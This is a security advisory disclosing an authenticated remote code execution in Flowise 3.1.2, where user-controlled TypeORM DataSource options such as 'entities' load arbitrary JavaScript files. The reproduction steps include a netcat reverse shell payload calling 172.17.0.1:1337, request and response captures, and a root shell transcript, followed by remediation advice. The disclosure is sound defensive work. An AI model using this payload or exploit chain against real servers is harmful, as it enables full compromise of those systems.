=============================================================================
Security Advisory
elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: `FlowiseAI/Flowise 3.1.2`
# I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).
# II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:
* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)
* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)
* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)
* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)
* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)
This is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).
The following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:
1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.
```http
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "admin@flowise.local",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
```
<1> The organisation ID that is required for a later step.
2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.
```js
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
```
3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
"chunks": [
{
"chunkNo": 1,
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
"metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
"pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
"storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
}
],
"count": 1,
"currentPage": 1,
"description": "",
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"file": {
"files": [
{
"id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
"mimePrefix": "application/x-javascript",
"name": "rce.js",
"size": 94,
"status": "NEW",
"uploaded": "2026-04-15T10:59:34.039Z"
}
],
"id": "544ff838-bc55-4b28-97a1-c7442710b014",
"loaderConfig": {
"file": "FILE-STORAGE::[\"rce.js\"]",
"legacyBuild": "",
"metadata": "",
"omitMetadataKeys": "",
"pointerName": "",
"textSplitter": "",
"usage": "perPage"
},
"loaderId": "fileLoader",
"loaderName": "RCE File",
"status": "SYNC",
"totalChars": 94,
"totalChunks": 1
},
"storeName": "RCE POC Store",
"workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}
```
<1> The store ID that is required for a later step.
4. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)
5. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />
6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
```
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
# III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
# IV. Solution
Do not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:
* `extra`: Could be abused to provide dangerous driver options.
* `entities`: Could be abused to load arbitrary JavaScript files.
* `subscribers`: Could be abused to load arbitrary JavaScript files.
* `migrations`: Could be abused to load arbitrary JavaScript files.